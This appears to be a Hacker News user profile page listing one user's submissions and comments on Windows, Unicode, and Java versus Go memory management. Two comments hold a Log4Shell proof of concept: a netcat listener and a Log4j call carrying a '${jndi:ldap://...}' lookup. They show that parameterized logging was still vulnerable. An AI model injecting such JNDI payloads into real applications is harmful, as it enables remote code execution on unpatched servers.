HackerTrans
TopNewTrendsCommentsPastAskShowJobs

natanbc

no profile record

Submissions

Hotpatching on Windows

techcommunity.microsoft.com
2 points·by natanbc·5 tahun yang lalu·0 comments

Win10 Admin Rights Tossed Off by yet Another Plug-In

threatpost.com
6 points·by natanbc·5 tahun yang lalu·1 comments

comments

natanbc
·4 tahun yang lalu·discuss
Only on older CPUs, they started fusing off AVX512 on newer silicon batches (even on 12th gen)
natanbc
·4 tahun yang lalu·discuss
Only in codepoints, but it still has the problem GP mentions of ` + e = è being two codepoints (so two elements in UCS-32), but being logically one character

https://manishearth.github.io/blog/2017/01/14/stop-ascribing...
natanbc
·5 tahun yang lalu·discuss
I posted this in reply to a sibling comment, but the "correct" way is still vulnerable

Start nc (nc -lp 1234) and run this

    org.apache.logging.log4j.LogManager.getLogger("whatever").error("not safe {}", "${jndi:ldap://127.0.0.1:1234/abc}")
natanbc
·5 tahun yang lalu·discuss
The RCE works with both ways, start nc (nc -lp 1234) and run this

    org.apache.logging.log4j.LogManager.getLogger("whatever").error("not safe {}", "${jndi:ldap://127.0.0.1:1234/abc}")
natanbc
·5 tahun yang lalu·discuss
> In a multithreaded program, a bump allocator requires locks. That kills their performance advantage.

Java uses per-thread pointer bump allocators[1]

> While Java does it as well, it doesn’t utilize this info to put objects on the stack.

Correct, but it does scalar replacement[2] which puts them in registers instead

> Why can Go run its GC concurrently and not Java? Because Go does not fix any pointers or move any objects in memory.

Most java GCs are concurrent[3], if you want super low pauses you can get those too[4][5]. Pointers can get fixed while the application is running with GC barriers

[1]: https://shipilev.net/jvm/anatomy-quarks/4-tlab-allocation/

[2]: https://shipilev.net/jvm/anatomy-quarks/18-scalar-replacemen...

[3]: https://shipilev.net/jvm/anatomy-quarks/3-gc-design-and-paus...

[4]: https://wiki.openjdk.java.net/display/zgc/Main

[5]: https://wiki.openjdk.java.net/display/shenandoah
natanbc
·5 tahun yang lalu·discuss
It does for multi-codepoint characters (such as the rainbow flag): https://play.rust-lang.org/?version=stable&mode=debug&editio...

Elixir gets it right: https://replit.com/@natanbc/reverse